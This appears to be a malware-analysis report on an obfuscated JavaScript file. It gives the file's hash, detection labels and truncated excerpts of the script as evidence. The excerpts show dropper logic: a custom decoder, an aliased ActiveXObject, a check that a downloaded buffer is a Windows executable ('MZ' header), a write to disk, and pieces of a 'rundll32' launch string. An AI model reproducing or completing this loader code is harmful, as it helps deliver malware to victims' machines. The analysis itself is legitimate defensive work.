20161220_2387e3832bf24f6d959d322811fadd5b.js
Obfuscated ActiveX malware execution
Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias
SHA-256f99ffd9ce2664a4537d5dc0ee3e3857e8bb566809bad834277df86bbbc8b8b6a
Evidence
2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikoaklandFROG2XCOP = 0;
9 var SupchikoaklandRazlomSS, SupchikoaklandFROG2ddDccC2, SupchikoaklandFROG2c3, SupchikoaklandFROG2c4;
10
11 var SupchikoaklandFROG2out = "";
12
13 var SupchikoaklandFROG2Supchikoaklandka= this.replace(/FROSTICK/gi, SupchikoaklandFROG2out);
14 var SupchikoaklandFROG2len = SupchikoaklandFROG2sud(Su …
18 var Supchikoaklandkoch = SupchikoaklandFROG2Supchikoaklandka.charCodeAt(SupchikoaklandFROG2XCOP++) &(0x132- 0x33);
19 SupchikoaklandRazlomSS = levitron[Supchikoaklandkoch];
20 } while (SupchikoaklandFROG2XCOP < Supchikoaklan …
27:39… +1== 0)
28 break;
29 SupchikoaklandFROG2out += String['fromCharCode']((SupchikoaklandRazlomSS << 2) | ((SupchikoaklandFROG2ddDccC2 & 0x30) >> 4)); do {
30 SupchikoaklandFROG2c3 = Supchikoa …
185:16… landFROG2d2=SupchikoaklandFROG2DoUtra.pop();
186SupchikoaklandFROG2fabled="Valar2Morgulis";
187 var SupchikoaklandFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikoaklandFROG2d2.split("45");SupchikoaklandFROG2Native.SupchikoaklandFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikoaklandFROG2$type(a)===b})};
…
257:72… dTalabaev);
258 if(SupchikoaklandTalabaevLaa < 29989)return false;
259 if (SupchikoaklandTalabaev[0]!= 77 || SupchikoaklandTalabaev[1]!= 90)return false;
260 SupchikoaklandFROG2CHICKA = SupchikoaklandFROG2CHICKA + SupchikoaklandFROG2SIDRENKOV;
261 REBEKK2(SupchikoaklandFROG2CHICKA, SupchikoaklandTalabaev );
262
263 var SupchikoaklandFROG2ddsSSddSd = ",happy";
264SupchikoaklandFROG2ddsSSddSd = (SupchikoaklandFROG2StrokaParam2,"undl") + (SupchikoaklandFROG2StrokaParam2,"l32 ") + Supchiko …